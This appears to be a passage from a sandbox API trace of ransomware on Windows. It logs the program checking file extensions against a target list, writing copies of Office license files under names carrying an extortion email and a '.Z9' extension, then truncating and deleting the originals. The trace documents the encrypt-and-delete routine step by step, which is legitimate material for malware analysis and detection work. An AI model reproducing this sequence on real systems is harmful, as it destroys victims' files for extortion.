	[0176.007] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0176.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0176.007] lstrlenW (lpString=".doc") returned 4
	[0176.007] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.007] lstrlenW (lpString=".docx") returned 5
	[0176.007] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.007] lstrlenW (lpString=".pdf") returned 4
	[0176.007] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.007] lstrlenW (lpString=".xls") returned 4
	[0176.007] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.007] lstrlenW (lpString=".xlsx") returned 5
	[0176.007] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.007] lstrlenW (lpString=".ppt") returned 4
	[0176.007] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0176.007] lstrlenW (lpString=".zip") returned 4
	[0176.008] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.008] lstrlenW (lpString=".rar") returned 4
	[0176.008] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.008] lstrlenW (lpString=".bz2") returned 4
	[0176.008] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.008] lstrlenW (lpString=".7z") returned 3
	[0176.008] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0176.008] lstrlenW (lpString=".dbf") returned 4
	[0176.008] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0176.008] lstrlenW (lpString=".1cd") returned 4
	[0176.008] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0176.008] lstrlenW (lpString=".jpg") returned 4
	[0176.008] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.008] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0176.008] lstrlenW (lpString="ExcelR_Retail-ul-phn.xrm-ms") returned 27
	[0176.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0176.010] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=19919) returned 1
	[0176.010] CloseHandle (hObject=0x548) returned 1
	[0176.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms")) returned 0x220
	[0176.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0176.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0176.011] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.011] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444
	[0176.012] GetLastError () returned 0x0
	[0176.012] ReadFile (in: hFile=0x548, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x4dcf, lpOverlapped=0x0) returned 1
	[0176.014] WriteFile (in: hFile=0x444, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x4dd0, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x4dd0, lpOverlapped=0x0) returned 1
	[0176.016] ReadFile (in: hFile=0x548, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.016] WriteFile (in: hFile=0x444, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x10a, lpOverlapped=0x0) returned 1
	[0176.016] SetEndOfFile (hFile=0x444) returned 1
	[0176.473] CloseHandle (hObject=0x444) returned 1
	[0176.473] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.480] SetEndOfFile (hFile=0x548) returned 1
	[0176.485] CloseHandle (hObject=0x548) returned 1
	[0176.485] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0176.883] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms")) returned 1
	[0177.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0177.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0177.194] lstrlenW (lpString=".doc") returned 4
	[0177.194] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0177.194] lstrlenW (lpString=".docx") returned 5
	[0177.194] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0177.194] lstrlenW (lpString=".pdf") returned 4
	[0177.194] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0177.194] lstrlenW (lpString=".xls") returned 4
	[0177.194] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0177.194] lstrlenW (lpString=".xlsx") returned 5
	[0177.194] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0177.194] lstrlenW (lpString=".ppt") returned 4
	[0177.195] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0177.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0177.195] lstrlenW (lpString=".zip") returned 4
	[0177.195] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0177.195] lstrlenW (lpString=".rar") returned 4
	[0177.195] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0177.195] lstrlenW (lpString=".bz2") returned 4
	[0177.195] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0177.195] lstrlenW (lpString=".7z") returned 3
	[0177.195] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0177.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0177.195] lstrlenW (lpString=".dbf") returned 4
	[0177.195] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0177.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0177.195] lstrlenW (lpString=".1cd") returned 4
	[0177.195] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0177.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0177.195] lstrlenW (lpString=".jpg") returned 4
	[0177.195] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0177.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0177.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0177.195] lstrlenW (lpString=".doc") returned 4
	[0177.195] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0177.196] lstrlenW (lpString=".docx") returned 5
	[0177.196] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0177.196] lstrlenW (lpString=".pdf") returned 4
	[0177.196] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0177.196] lstrlenW (lpString=".xls") returned 4
	[0177.196] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0177.196] lstrlenW (lpString=".xlsx") returned 5
	[0177.196] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0177.196] lstrlenW (lpString=".ppt") returned 4
	[0177.196] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0177.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0177.196] lstrlenW (lpString=".zip") returned 4
	[0177.196] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0177.196] lstrlenW (lpString=".rar") returned 4
	[0177.196] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0177.196] lstrlenW (lpString=".bz2") returned 4
	[0177.196] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0177.196] lstrlenW (lpString=".7z") returned 3
	[0177.196] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0177.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0177.196] lstrlenW (lpString=".dbf") returned 4
	[0177.196] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0177.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0177.197] lstrlenW (lpString=".1cd") returned 4
	[0177.197] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0177.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0177.197] lstrlenW (lpString=".jpg") returned 4
	[0177.197] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0177.197] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0177.197] lstrlenW (lpString="ExcelVL_MAK-pl.xrm-ms") returned 21
	[0177.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8
	[0177.199] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=10619) returned 1
	[0177.199] CloseHandle (hObject=0x3c8) returned 1
	[0177.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms")) returned 0x220
	[0177.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0177.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8
	[0177.200] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.200] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0177.202] GetLastError () returned 0x0
	[0177.202] ReadFile (in: hFile=0x3c8, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x297b, lpOverlapped=0x0) returned 1
	[0177.204] WriteFile (in: hFile=0x36c, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x2980, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x2980, lpOverlapped=0x0) returned 1
	[0177.206] ReadFile (in: hFile=0x3c8, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.206] WriteFile (in: hFile=0x36c, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0xfe, lpOverlapped=0x0) returned 1
	[0177.206] SetEndOfFile (hFile=0x36c) returned 1
	[0177.206] CloseHandle (hObject=0x36c) returned 1
	[0177.207] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.207] SetEndOfFile (hFile=0x3c8) returned 1
	[0177.215] CloseHandle (hObject=0x3c8) returned 1
	[0177.216] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0177.216] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms")) returned 1
	[0177.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71
	[0177.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71
	[0177.218] lstrlenW (lpString=".doc") returned 4
	[0177.218] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0177.218] lstrlenW (lpString=".docx") returned 5
	[0177.218] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0177.218] lstrlenW (lpString=".pdf") returned 4
	[0177.218] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0177.218] lstrlenW (lpString=".xls") returned 4
	[0177.218] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0177.218] lstrlenW (lpString=".xlsx") returned 5
	[0177.218] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0177.218] lstrlenW (lpString=".ppt") returned 4
	[0177.218] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0177.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71
	[0177.218] lstrlenW (lpString=".zip") returned 4
	[0177.218] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0177.218] lstrlenW (lpString=".rar") returned 4
	[0177.218] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0177.218] lstrlenW (lpString=".bz2") returned 4
	[0177.218] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0177.218] lstrlenW (lpString=".7z") returned 3
	[0177.219] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0177.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71
	[0177.219] lstrlenW (lpString=".dbf") returned 4
	[0177.219] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0177.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71
	[0177.219] lstrlenW (lpString=".1cd") returned 4
	[0177.219] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0177.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71
	[0177.219] lstrlenW (lpString=".jpg") returned 4
	[0177.219] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0177.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71
	[0177.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71
	[0177.219] lstrlenW (lpString=".doc") returned 4
	[0177.219] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0177.219] lstrlenW (lpString=".docx") returned 5
	[0177.219] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0177.219] lstrlenW (lpString=".pdf") returned 4
	[0177.219] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0177.219] lstrlenW (lpString=".xls") returned 4
	[0177.219] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0177.219] lstrlenW (lpString=".xlsx") returned 5
	[0177.219] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0177.220] lstrlenW (lpString=".ppt") returned 4
	[0177.220] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0177.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71
	[0177.220] lstrlenW (lpString=".zip") returned 4
	[0177.220] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0177.220] lstrlenW (lpString=".rar") returned 4
	[0177.220] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0177.220] lstrlenW (lpString=".bz2") returned 4
	[0177.220] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0177.220] lstrlenW (lpString=".7z") returned 3
	[0177.220] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0177.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71
	[0177.220] lstrlenW (lpString=".dbf") returned 4
	[0177.220] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0177.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71
	[0177.220] lstrlenW (lpString=".1cd") returned 4
	[0177.220] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0177.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71
	[0177.220] lstrlenW (lpString=".jpg") returned 4
	[0177.221] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0177.221] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0177.221] lstrlenW (lpString="ExcelVL_MAK-ppd.xrm-ms") returned 22
	[0177.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8
	[0177.223] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=6795) returned 1
	[0177.223] CloseHandle (hObject=0x3c8) returned 1
	[0177.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms")) returned 0x220
	[0177.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0177.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8
	[0177.224] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.224] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0177.225] GetLastError () returned 0x0
	[0177.225] ReadFile (in: hFile=0x3c8, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x1a8b, lpOverlapped=0x0) returned 1
	[0177.228] WriteFile (in: hFile=0x37c, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x1a90, lpOverlapped=0x0) returned 1
	[0177.229] ReadFile (in: hFile=0x3c8, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.229] WriteFile (in: hFile=0x37c, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x100, lpOverlapped=0x0) returned 1
	[0177.230] SetEndOfFile (hFile=0x37c) returned 1
	[0177.230] CloseHandle (hObject=0x37c) returned 1
	[0177.230] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.230] SetEndOfFile (hFile=0x3c8) returned 1
	[0178.146] CloseHandle (hObject=0x3c8) returned 1
	[0178.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0178.180] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms")) returned 1
	[0178.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0178.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0178.182] lstrlenW (lpString=".doc") returned 4
	[0178.182] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.182] lstrlenW (lpString=".docx") returned 5
	[0178.182] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.182] lstrlenW (lpString=".pdf") returned 4
	[0178.182] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.182] lstrlenW (lpString=".xls") returned 4
	[0178.182] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.182] lstrlenW (lpString=".xlsx") returned 5
	[0178.182] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.182] lstrlenW (lpString=".ppt") returned 4
	[0178.182] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72
	[0178.182] lstrlenW (lpString=".zip") returned 4
	[0178.182] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.183] lstrlenW (lpString=".rar") returned 4
	[0178.183] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.183] lstrlenW (lpString=".bz2") returned 4
	[0178.183] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.183] lstrlenW (lpString=".7z") returned 3
	[0178.183] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
